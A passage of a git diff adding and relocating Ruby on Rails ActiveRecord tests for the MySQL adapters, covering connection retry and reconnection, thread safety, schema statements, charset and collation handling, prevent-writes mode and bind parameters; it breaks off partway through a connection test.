+          # here would just be a ResetParent.
+          @connection.verify!
+
+          Post.delete_all
+
+          assert_equal 0, Post.count
+          raise ActiveRecord::Rollback
+        end
+
+        # The deletion occurred within the outer transaction (which was then rolled
+        # back), and not directly on the freshly-reestablished connection, so the
+        # posts are still there:
+        assert_operator Post.count, :>, 0
+      end
+
+      test "dirty transaction cannot be restored after remote disconnection" do
+        invocations = 0
+        assert_raises ActiveRecord::ConnectionFailed do
+          Post.transaction do
+            invocations += 1
+            Post.delete_all
+            remote_disconnect @connection
+            Post.count
+          end
+        end
+
+        assert_equal 1, invocations # the whole transaction block is not retried
+
+        # After the (outermost) transaction block failed, the connection is
+        # ready to reconnect on next use, but hasn't done so yet
+        assert_not_predicate @connection, :active?
+        assert_operator Post.count, :>, 0
+      end
+
+      test "can reconnect and retry queries under limit when retry deadline is set" do
+        attempts = 0
+        @connection.stub(:retry_deadline, 0.1) do
+          @connection.send(:with_raw_connection, allow_retry: true) do
+            if attempts == 0
+              attempts += 1
+              raise ActiveRecord::ConnectionFailed.new("Something happened to the connection")
+            end
+          end
+        end
+      end
+
+      test "does not reconnect and retry queries when retries are disabled" do
+        assert_raises(ActiveRecord::ConnectionFailed) do
+          attempts = 0
+          @connection.send(:with_raw_connection) do
+            if attempts == 0
+              attempts += 1
+              raise ActiveRecord::ConnectionFailed.new("Something happened to the connection")
+            end
+          end
+        end
+      end
+
+      test "does not reconnect and retry queries that exceed retry deadline" do
+        assert_raises(ActiveRecord::ConnectionFailed) do
+          attempts = 0
+          @connection.stub(:retry_deadline, 0.1) do
+            @connection.send(:with_raw_connection, allow_retry: true) do
+              if attempts == 0
+                sleep(0.2)
+                attempts += 1
+                raise ActiveRecord::ConnectionFailed.new("Something happened to the connection")
+              end
+            end
+          end
+        end
+      end
+
+      test "#execute is retryable" do
+        initial_connection_id = connection_id_from_server(@connection)
+
+        kill_connection_from_server(initial_connection_id)
+
+        @connection.execute("SELECT 1", allow_retry: true)
+
+        assert_not_equal initial_connection_id, connection_id_from_server(@connection)
+      end
+
+      test "disconnect and recover on #configure_connection failure" do
+        connection = ActiveRecord::Base.connection_pool.send(:new_connection)
+
+        failures = [ActiveRecord::ConnectionFailed.new("Oops"), ActiveRecord::ConnectionFailed.new("Oops 2")]
+        connection.singleton_class.define_method(:configure_connection) do
+          if error = failures.pop
+            raise error
+          else
+            super()
+          end
+        end
+        assert_raises ActiveRecord::ConnectionFailed do
+          connection.exec_query("SELECT 1")
+        end
+
+        assert_equal [[1]], connection.exec_query("SELECT 1").rows
+        assert_empty failures
+      ensure
+        connection&.disconnect!
+      end
+
+      test "disconnect and recover on #configure_connection timeout" do
+        connection = ActiveRecord::Base.connection_pool.send(:new_connection)
+
+        slow = [5]
+        connection.singleton_class.define_method(:configure_connection) do
+          if duration = slow.pop
+            sleep duration
+          end
+          super()
+        end
+
+        assert_raises Timeout::Error do
+          Timeout.timeout(0.2) do
+            connection.exec_query("SELECT 1")
+          end
+        end
+
+        assert_equal [[1]], connection.exec_query("SELECT 1").rows
+        assert_empty slow
+      ensure
+        connection&.disconnect!
+      end
+    end
+  end
+
+  class AdapterThreadSafetyTest < ActiveRecord::TestCase
+    setup do
+      @threads = []
+      @connection = ActiveRecord::Base.connection_pool.checkout
+    end
+
+    teardown do
+      @threads.each(&:kill)
+    end
+
+    unless in_memory_db?
+      test "#active? is synchronized" do
+        threads(2, 25) { @connection.select_all("SELECT 1") }
+        threads(2, 25) { @connection.verify! }
+        threads(2, 25) { @connection.disconnect! }
+
+        join
+        pass
+      end
+
+      test "#verify! is synchronized" do
+        threads(2, 25) { @connection.verify! }
+        threads(2, 25) { @connection.disconnect! }
+
+        join
+        pass
+      end
+    end
+
+    private
+      def join
+        @threads.shuffle.each(&:join)
+      end
+
+      def threads(count, times)
+        @threads += count.times.map do
+          Thread.new do
+            times.times do
+              yield
+              Thread.pass
+            end
+          end
+        end
+      end
+  end
+end
+
+if ActiveRecord::Base.lease_connection.supports_advisory_locks?
+  class AdvisoryLocksEnabledTest < ActiveRecord::TestCase
+    include ConnectionHelper
+
+    def test_advisory_locks_enabled?
+      assert_predicate ActiveRecord::Base.lease_connection, :advisory_locks_enabled?
+
+      run_without_connection do |orig_connection|
+        ActiveRecord::Base.establish_connection(
+          orig_connection.merge(advisory_locks: false)
+        )
+
+        assert_not ActiveRecord::Base.lease_connection.advisory_locks_enabled?
+
+        ActiveRecord::Base.establish_connection(
+          orig_connection.merge(advisory_locks: true)
+        )
+
+        assert_predicate ActiveRecord::Base.lease_connection, :advisory_locks_enabled?
+      end
+    end
+  end
+end
+
+if ActiveRecord::Base.lease_connection.savepoint_errors_invalidate_transactions?
+  class InvalidateTransactionTest < ActiveRecord::TestCase
+    def test_invalidates_transaction_on_rollback_error
+      @invalidated = false
+      connection = ActiveRecord::Base.lease_connection
+
+      connection.transaction do
+        connection.send(:with_raw_connection) do
+          raise ActiveRecord::Deadlocked, "made-up deadlock"
+        end
+
+      rescue ActiveRecord::Deadlocked => error
+        flunk("Rescuing wrong error") unless error.message == "made-up deadlock"
+
+        @invalidated = connection.current_transaction.invalidated?
+      end
+
+      # asserting outside of the transaction to make sure we actually reach the end of the test
+      # and perform the assertion
+      assert @invalidated
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/active_schema_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/active_schema_test.rb
new file mode 100644
index 0000000000000..6d25e26a54a00
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/active_schema_test.rb
@@ -0,0 +1,210 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class ActiveSchemaTest < ActiveRecord::AbstractMysqlTestCase
+  include ConnectionHelper
+
+  def setup
+    ActiveRecord::Base.lease_connection.send(:default_row_format)
+    ActiveRecord::Base.lease_connection.singleton_class.class_eval do
+      alias_method :execute_without_stub, :execute
+      def execute(sql, name = nil)
+        ActiveSupport::Notifications.instrumenter.instrument(
+          "sql.active_record",
+          sql: sql,
+          name: name,
+          connection: self) do
+          sql
+        end
+      end
+    end
+  end
+
+  teardown do
+    reset_connection
+  end
+
+  def test_add_index
+    expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`)"
+    assert_equal expected, add_index(:people, :last_name, length: nil)
+
+    expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10))"
+    assert_equal expected, add_index(:people, :last_name, length: 10)
+
+    expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15))"
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: 15)
+    assert_equal expected, add_index(:people, ["last_name", "first_name"], length: 15)
+
+    expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`)"
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: { last_name: 15 })
+    assert_equal expected, add_index(:people, ["last_name", "first_name"], length: { last_name: 15 })
+
+    expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10))"
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: { last_name: 15, first_name: 10 })
+    assert_equal expected, add_index(:people, ["last_name", :first_name], length: { last_name: 15, "first_name" => 10 })
+
+    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+      expected = "CREATE #{type} INDEX `index_people_on_last_name` ON `people` (`last_name`)"
+      assert_equal expected, add_index(:people, :last_name, type: type)
+    end
+
+    %w(btree hash).each do |using|
+      expected = "CREATE INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`)"
+      assert_equal expected, add_index(:people, :last_name, using: using)
+    end
+
+    expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10))"
+    assert_equal expected, add_index(:people, :last_name, length: 10, using: :btree)
+
+    %i(default copy inplace instant).each do |algorithm|
+      expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = #{algorithm.upcase}"
+      assert_equal expected, add_index(:people, :last_name, length: 10, using: :btree, algorithm: algorithm)
+    end
+
+    with_real_execute do
+      add_index(:people, :first_name)
+      assert index_exists?(:people, :first_name)
+
+      assert_nothing_raised do
+        add_index(:people, :first_name, if_not_exists: true)
+      end
+    end
+
+    assert_raise ArgumentError do
+      add_index(:people, :last_name, algorithm: :coyp)
+    end
+
+    expected = "CREATE INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15))"
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: 15, using: :btree)
+  end
+
+  def test_index_in_create
+    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+      expected = /\ACREATE TABLE `people` \(#{type} INDEX `index_people_on_last_name` \(`last_name`\)\)/
+      actual = ActiveRecord::Base.lease_connection.create_table(:people, id: false) do |t|
+        t.index :last_name, type: type
+      end
+      assert_match expected, actual
+    end
+
+    expected = /\ACREATE TABLE `people` \(INDEX `index_people_on_last_name` USING btree \(`last_name`\(10\)\)\)/
+    actual = ActiveRecord::Base.lease_connection.create_table(:people, id: false) do |t|
+      t.index :last_name, length: 10, using: :btree
+    end
+    assert_match expected, actual
+  end
+
+  def test_index_in_bulk_change
+    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+      expected = "ALTER TABLE `people` ADD #{type} INDEX `index_people_on_last_name` (`last_name`)"
+      assert_queries_match(expected) do
+        ActiveRecord::Base.lease_connection.change_table(:people, bulk: true) do |t|
+          t.index :last_name, type: type
+        end
+      end
+    end
+
+    expected = "ALTER TABLE `people` ADD INDEX `index_people_on_last_name` USING btree (`last_name`(10)), ALGORITHM = COPY"
+    assert_queries_match(expected) do
+      ActiveRecord::Base.lease_connection.change_table(:people, bulk: true) do |t|
+        t.index :last_name, length: 10, using: :btree, algorithm: :copy
+      end
+    end
+  end
+
+  def test_drop_table
+    assert_equal "DROP TABLE `people`", drop_table(:people)
+  end
+
+  def test_drop_tables
+    assert_equal "DROP TABLE `people`, `sobrinho`", drop_table(:people, :sobrinho)
+  end
+
+  def test_create_mysql_database_with_encoding
+    if ActiveRecord::Base.lease_connection.send(:row_format_dynamic_by_default?)
+      assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8mb4`", create_database(:matt)
+    else
+      error = assert_raises(RuntimeError) { create_database(:matt) }
+      expected = "Configure a supported :charset and ensure innodb_large_prefix is enabled to support indexes on varchar(255) string columns."
+      assert_equal expected, error.message
+    end
+    assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, charset: "latin1")
+    assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT COLLATE `utf8mb4_bin`", create_database(:matt_aimonetti, collation: "utf8mb4_bin")
+  end
+
+  def test_recreate_mysql_database_with_encoding
+    create_database(:luca, charset: "latin1")
+    assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, charset: "latin1")
+  end
+
+  def test_add_column
+    assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string)
+  end
+
+  def test_add_column_with_limit
+    assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, limit: 32)
+  end
+
+  def test_drop_table_with_specific_database
+    assert_equal "DROP TABLE `otherdb`.`people`", drop_table("otherdb.people")
+  end
+
+  def test_drop_tables_with_specific_database
+    assert_equal "DROP TABLE `otherdb`.`people`, `otherdb`.`sobrinho`", drop_table("otherdb.people", "otherdb.sobrinho")
+  end
+
+  def test_add_timestamps
+    with_real_execute do
+      ActiveRecord::Base.lease_connection.create_table :delete_me
+      ActiveRecord::Base.lease_connection.add_timestamps :delete_me, null: true
+      assert column_exists?("delete_me", "updated_at", "datetime")
+      assert column_exists?("delete_me", "created_at", "datetime")
+    ensure
+      ActiveRecord::Base.lease_connection.drop_table :delete_me rescue nil
+    end
+  end
+
+  def test_remove_timestamps
+    with_real_execute do
+      ActiveRecord::Base.lease_connection.create_table :delete_me do |t|
+        t.timestamps null: true
+      end
+      ActiveRecord::Base.lease_connection.remove_timestamps :delete_me, null: true
+      assert_not column_exists?("delete_me", "updated_at", "datetime")
+      assert_not column_exists?("delete_me", "created_at", "datetime")
+    ensure
+      ActiveRecord::Base.lease_connection.drop_table :delete_me rescue nil
+    end
+  end
+
+  def test_indexes_in_create
+    expected = /\ACREATE TEMPORARY TABLE `temp` \(INDEX `index_temp_on_zip` \(`zip`\)\)(?: ROW_FORMAT=DYNAMIC)? AS SELECT id, name, zip FROM a_really_complicated_query/
+    actual = ActiveRecord::Base.lease_connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
+      t.index :zip
+    end
+
+    assert_match expected, actual
+  end
+
+  private
+    def with_real_execute
+      ActiveRecord::Base.lease_connection.singleton_class.class_eval do
+        alias_method :execute_with_stub, :execute
+        remove_method :execute
+        alias_method :execute, :execute_without_stub
+      end
+
+      yield
+    ensure
+      ActiveRecord::Base.lease_connection.singleton_class.class_eval do
+        remove_method :execute
+        alias_method :execute, :execute_with_stub
+      end
+    end
+
+    def method_missing(...)
+      ActiveRecord::Base.lease_connection.public_send(...)
+    end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/adapter_prevent_writes_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/adapter_prevent_writes_test.rb
new file mode 100644
index 0000000000000..0bf5f76ef4b9d
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/adapter_prevent_writes_test.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+
+class AdapterPreventWritesTest < ActiveRecord::AbstractMysqlTestCase
+  include DdlHelper
+
+  def setup
+    @conn = ActiveRecord::Base.lease_connection
+  end
+
+  def test_errors_when_an_insert_query_is_called_while_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        @conn.insert("INSERT INTO `engines` (`car_id`) VALUES ('138853948594')")
+      end
+    end
+  end
+
+  def test_errors_when_an_update_query_is_called_while_preventing_writes
+    @conn.insert("INSERT INTO `engines` (`car_id`) VALUES ('138853948594')")
+
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        @conn.update("UPDATE `engines` SET `engines`.`car_id` = '9989' WHERE `engines`.`car_id` = '138853948594'")
+      end
+    end
+  end
+
+  def test_errors_when_a_delete_query_is_called_while_preventing_writes
+    @conn.execute("INSERT INTO `engines` (`car_id`) VALUES ('138853948594')")
+
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        @conn.execute("DELETE FROM `engines` where `engines`.`car_id` = '138853948594'")
+      end
+    end
+  end
+
+  def test_errors_when_a_replace_query_is_called_while_preventing_writes
+    @conn.execute("INSERT INTO `engines` (`car_id`) VALUES ('138853948594')")
+
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        @conn.execute("REPLACE INTO `engines` SET `engines`.`car_id` = '249823948'")
+      end
+    end
+  end
+
+  def test_doesnt_error_when_a_select_query_is_called_while_preventing_writes
+    @conn.execute("INSERT INTO `engines` (`car_id`) VALUES ('138853948594')")
+
+    ActiveRecord::Base.while_preventing_writes do
+      assert_equal 1, @conn.execute("SELECT `engines`.* FROM `engines` WHERE `engines`.`car_id` = '138853948594'").entries.count
+    end
+  end
+
+  def test_doesnt_error_when_a_show_query_is_called_while_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      assert_equal 2, @conn.execute("SHOW FULL FIELDS FROM `engines`").entries.count
+    end
+  end
+
+  def test_doesnt_error_when_a_set_query_is_called_while_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      assert_nothing_raised { @conn.execute("SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci") }
+    end
+  end
+
+  def test_doesnt_error_when_a_describe_query_is_called_while_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      assert_equal 2, @conn.execute("DESCRIBE engines").entries.count
+    end
+  end
+
+  def test_doesnt_error_when_a_desc_query_is_called_while_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      assert_equal 2, @conn.execute("DESC engines").entries.count
+    end
+  end
+
+  def test_doesnt_error_when_a_read_query_with_leading_chars_is_called_while_preventing_writes
+    @conn.execute("INSERT INTO `engines` (`car_id`) VALUES ('138853948594')")
+
+    ActiveRecord::Base.while_preventing_writes do
+      assert_equal 1, @conn.execute("/*action:index*/(\n( SELECT `engines`.* FROM `engines` WHERE `engines`.`car_id` = '138853948594' ) )").entries.count
+    end
+  end
+
+  def test_doesnt_error_when_a_use_query_is_called_while_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      db_name = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").database
+      assert_nothing_raised { @conn.execute("USE #{db_name}") }
+    end
+  end
+
+  def test_doesnt_error_when_a_kill_query_is_called_while_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      conn_id = @conn.execute("SELECT CONNECTION_ID() as connection_id").to_a[0][0]
+      assert_raises(ActiveRecord::QueryCanceled) do
+        @conn.execute("KILL QUERY #{conn_id}")
+      end
+    end
+  end
+
+  private
+    def with_example_table(definition = "id int auto_increment primary key, number int, data varchar(255)", &block)
+      super(@conn, "ex", definition, &block)
+    end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/auto_increment_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/auto_increment_test.rb
new file mode 100644
index 0000000000000..9c0d238fd57a6
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/auto_increment_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class AutoIncrementTest < ActiveRecord::AbstractMysqlTestCase
+  include SchemaDumpingHelper
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+  end
+
+  def teardown
+    @connection.drop_table :auto_increments, if_exists: true
+  end
+
+  def test_auto_increment_without_primary_key
+    @connection.create_table :auto_increments, id: false, force: true do |t|
+      t.integer :id, null: false, auto_increment: true
+      t.index :id
+    end
+    output = dump_table_schema("auto_increments")
+    assert_match(/t\.integer\s+"id",\s+null: false,\s+auto_increment: true$/, output)
+  end
+
+  def test_auto_increment_with_composite_primary_key
+    @connection.create_table :auto_increments, primary_key: [:id, :created_at], force: true do |t|
+      t.integer :id, null: false, auto_increment: true
+      t.datetime :created_at, null: false
+    end
+    output = dump_table_schema("auto_increments")
+    assert_match(/t\.integer\s+"id",\s+null: false,\s+auto_increment: true$/, output)
+  end
+
+  def test_auto_increment_false_with_custom_primary_key
+    @connection.create_table :auto_increments, id: false, force: :cascade do |t|
+      t.primary_key :id, auto_increment: false
+    end
+
+    assert_not_predicate @connection.columns(:auto_increments).first, :auto_increment?
+  end
+
+  def test_auto_increment_false_with_create_table
+    @connection.create_table :auto_increments, auto_increment: false, force: :cascade
+
+    assert_not_predicate @connection.columns(:auto_increments).first, :auto_increment?
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/bind_parameter_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/bind_parameter_test.rb
new file mode 100644
index 0000000000000..533a8da6e49ff
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/bind_parameter_test.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/post"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class AbstractMysqlAdapter
+      class BindParameterTest < ActiveRecord::AbstractMysqlTestCase
+        fixtures :topics, :posts
+
+        def test_update_question_marks
+          str       = "foo?bar"
+          x         = Topic.first
+          x.title   = str
+          x.content = str
+          x.save!
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+
+        def test_create_question_marks
+          str = "foo?bar"
+          x   = Topic.create!(title: str, content: str)
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+
+        def test_update_null_bytes
+          str       = "foo\0bar"
+          x         = Topic.first
+          x.title   = str
+          x.content = str
+          x.save!
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+
+        def test_create_null_bytes
+          str = "foo\0bar"
+          x   = Topic.create!(title: str, content: str)
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+
+        def test_where_with_string_for_string_column_using_bind_parameters
+          assert_quoted_as "'Welcome to the weblog'", "Welcome to the weblog", match: 1
+        end
+
+        def test_where_with_integer_for_string_column_using_bind_parameters
+          assert_quoted_as "'0'", 0
+        end
+
+        def test_where_with_float_for_string_column_using_bind_parameters
+          assert_quoted_as "'0.0'", 0.0
+        end
+
+        def test_where_with_boolean_for_string_column_using_bind_parameters
+          assert_quoted_as "'0'", false
+        end
+
+        def test_where_with_decimal_for_string_column_using_bind_parameters
+          assert_quoted_as "'0.0'", BigDecimal(0)
+        end
+
+        def test_where_with_rational_for_string_column_using_bind_parameters
+          assert_quoted_as "'0.0'", Rational(0)
+        end
+
+        private
+          def assert_quoted_as(expected, value, match: 0)
+            relation = Post.where("title = ?", value)
+            assert_equal(
+              %{SELECT `posts`.* FROM `posts` WHERE (title = #{expected})},
+              relation.to_sql,
+            )
+            if match == 0
+              assert_empty relation.to_a
+            else
+              assert_equal match, relation.count
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/case_sensitivity_test.rb
similarity index 75%
rename from activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
rename to activerecord/test/cases/adapters/abstract_mysql_adapter/case_sensitivity_test.rb
index 50ba9ab831241..b9ef4861f4a53 100644
--- a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/case_sensitivity_test.rb
@@ -1,26 +1,28 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
-class Mysql2CaseSensitivityTest < ActiveRecord::Mysql2TestCase
+class CaseSensitivityTest < ActiveRecord::AbstractMysqlTestCase
   class CollationTest < ActiveRecord::Base
   end
 
   repair_validations(CollationTest)
 
   def test_columns_include_collation_different_from_table
-    assert_equal "utf8_bin", CollationTest.columns_hash["string_cs_column"].collation
-    assert_equal "utf8_general_ci", CollationTest.columns_hash["string_ci_column"].collation
+    assert_equal "utf8mb4_bin", CollationTest.columns_hash["string_cs_column"].collation
+    assert_equal "utf8mb4_general_ci", CollationTest.columns_hash["string_ci_column"].collation
   end
 
   def test_case_sensitive
-    assert !CollationTest.columns_hash["string_ci_column"].case_sensitive?
-    assert CollationTest.columns_hash["string_cs_column"].case_sensitive?
+    assert_not_predicate CollationTest.columns_hash["string_ci_column"], :case_sensitive?
+    assert_predicate CollationTest.columns_hash["string_cs_column"], :case_sensitive?
   end
 
   def test_case_insensitive_comparison_for_ci_column
     CollationTest.validates_uniqueness_of(:string_ci_column, case_sensitive: false)
     CollationTest.create!(string_ci_column: "A")
     invalid = CollationTest.new(string_ci_column: "a")
-    queries = assert_sql { invalid.save }
+    queries = capture_sql { invalid.save }
     ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
     assert_no_match(/lower/i, ci_uniqueness_query)
   end
@@ -29,7 +31,7 @@ def test_case_insensitive_comparison_for_cs_column
     CollationTest.validates_uniqueness_of(:string_cs_column, case_sensitive: false)
     CollationTest.create!(string_cs_column: "A")
     invalid = CollationTest.new(string_cs_column: "a")
-    queries = assert_sql { invalid.save }
+    queries = capture_sql { invalid.save }
     cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
     assert_match(/lower/i, cs_uniqueness_query)
   end
@@ -38,7 +40,7 @@ def test_case_sensitive_comparison_for_ci_column
     CollationTest.validates_uniqueness_of(:string_ci_column, case_sensitive: true)
     CollationTest.create!(string_ci_column: "A")
     invalid = CollationTest.new(string_ci_column: "A")
-    queries = assert_sql { invalid.save }
+    queries = capture_sql { invalid.save }
     ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
     assert_match(/binary/i, ci_uniqueness_query)
   end
@@ -47,7 +49,7 @@ def test_case_sensitive_comparison_for_cs_column
     CollationTest.validates_uniqueness_of(:string_cs_column, case_sensitive: true)
     CollationTest.create!(string_cs_column: "A")
     invalid = CollationTest.new(string_cs_column: "A")
-    queries = assert_sql { invalid.save }
+    queries = capture_sql { invalid.save }
     cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
     assert_no_match(/binary/i, cs_uniqueness_query)
   end
@@ -56,7 +58,7 @@ def test_case_sensitive_comparison_for_binary_column
     CollationTest.validates_uniqueness_of(:binary_column, case_sensitive: true)
     CollationTest.create!(binary_column: "A")
     invalid = CollationTest.new(binary_column: "A")
-    queries = assert_sql { invalid.save }
+    queries = capture_sql { invalid.save }
     bin_uniqueness_query = queries.detect { |q| q.match(/binary_column/) }
     assert_no_match(/\bBINARY\b/, bin_uniqueness_query)
   end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/charset_collation_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/charset_collation_test.rb
new file mode 100644
index 0000000000000..317212838d813
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/charset_collation_test.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class CharsetCollationTest < ActiveRecord::AbstractMysqlTestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table :charset_collations, id: { type: :string, collation: "utf8mb4_bin" }, force: true do |t|
+      t.string :string_ascii_bin, charset: "ascii", collation: "ascii_bin"
+      t.text :text_ucs2_unicode_ci, charset: "ucs2", collation: "ucs2_unicode_ci"
+    end
+  end
+
+  teardown do
+    @connection.drop_table :charset_collations, if_exists: true
+  end
+
+  test "string column with charset and collation" do
+    column = @connection.columns(:charset_collations).find { |c| c.name == "string_ascii_bin" }
+    assert_equal :string, column.type
+    assert_equal "ascii_bin", column.collation
+  end
+
+  test "text column with charset and collation" do
+    column = @connection.columns(:charset_collations).find { |c| c.name == "text_ucs2_unicode_ci" }
+    assert_equal :text, column.type
+    assert_equal "ucs2_unicode_ci", column.collation
+  end
+
+  test "add column with charset and collation" do
+    @connection.add_column :charset_collations, :title, :string, charset: "utf8mb4", collation: "utf8mb4_bin"
+
+    column = @connection.columns(:charset_collations).find { |c| c.name == "title" }
+    assert_equal :string, column.type
+    assert_equal "utf8mb4_bin", column.collation
+  end
+
+  test "change column with charset and collation" do
+    @connection.add_column :charset_collations, :description, :string, charset: "utf8mb4", collation: "utf8mb4_unicode_ci"
+    @connection.change_column :charset_collations, :description, :text, charset: "utf8mb4", collation: "utf8mb4_general_ci"
+
+    column = @connection.columns(:charset_collations).find { |c| c.name == "description" }
+    assert_equal :text, column.type
+    assert_equal "utf8mb4_general_ci", column.collation
+  end
+
+  test "change column doesn't preserve collation for string to binary types" do
+    @connection.add_column :charset_collations, :description, :string, charset: "utf8mb4", collation: "utf8mb4_unicode_ci"
+    @connection.change_column :charset_collations, :description, :binary
+
+    column = @connection.columns(:charset_collations).find { |c| c.name == "description" }
+
+    assert_equal :binary, column.type
+    assert_nil column.collation
+  end
+
+  test "change column doesn't preserve collation for string to non-string types" do
+    @connection.add_column :charset_collations, :description, :string, charset: "utf8mb4", collation: "utf8mb4_unicode_ci"
+    @connection.change_column :charset_collations, :description, :int
+
+    column = @connection.columns(:charset_collations).find { |c| c.name == "description" }
+
+    assert_equal :integer, column.type
+    assert_nil column.collation
+  end
+
+  test "change column preserves collation for string to text" do
+    @connection.add_column :charset_collations, :description, :string, charset: "utf8mb4", collation: "utf8mb4_unicode_ci"
+    @connection.change_column :charset_collations, :description, :text
+
+    column = @connection.columns(:charset_collations).find { |c| c.name == "description" }
+    assert_equal :text, column.type
+    assert_equal "utf8mb4_unicode_ci", column.collation
+  end
+
+  test "schema dump includes collation" do
+    output = dump_table_schema("charset_collations")
+    assert_match %r/create_table "charset_collations", id: { type: :string, collation: "utf8mb4_bin" }/, output
+    assert_match %r{t\.string\s+"string_ascii_bin",\s+collation: "ascii_bin"$}, output
+    assert_match %r{t\.text\s+"text_ucs2_unicode_ci",\s+collation: "ucs2_unicode_ci"$}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/connection_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/connection_test.rb
new file mode 100644
index 0000000000000..491510b7174f5
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/connection_test.rb
@@ -0,0 +1,267 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class ConnectionTest < ActiveRecord::AbstractMysqlTestCase
+  include ConnectionHelper
+
+  def setup
+    super
+    @subscriber = SQLSubscriber.new
+    @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
+    @connection = ActiveRecord::Base.lease_connection
+  end
+
+  def teardown
+    ActiveSupport::Notifications.unsubscribe(@subscription)
+    super
+  end
+
+  def test_bad_connection
+    assert_raise ActiveRecord::NoDatabaseError do
+      db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      configuration = db_config.configuration_hash.merge(database: "inexistent_activerecord_unittest")
+      connection = if current_adapter?(:Mysql2Adapter)
+        ActiveRecord::ConnectionAdapters::Mysql2Adapter.new(configuration)
+      else
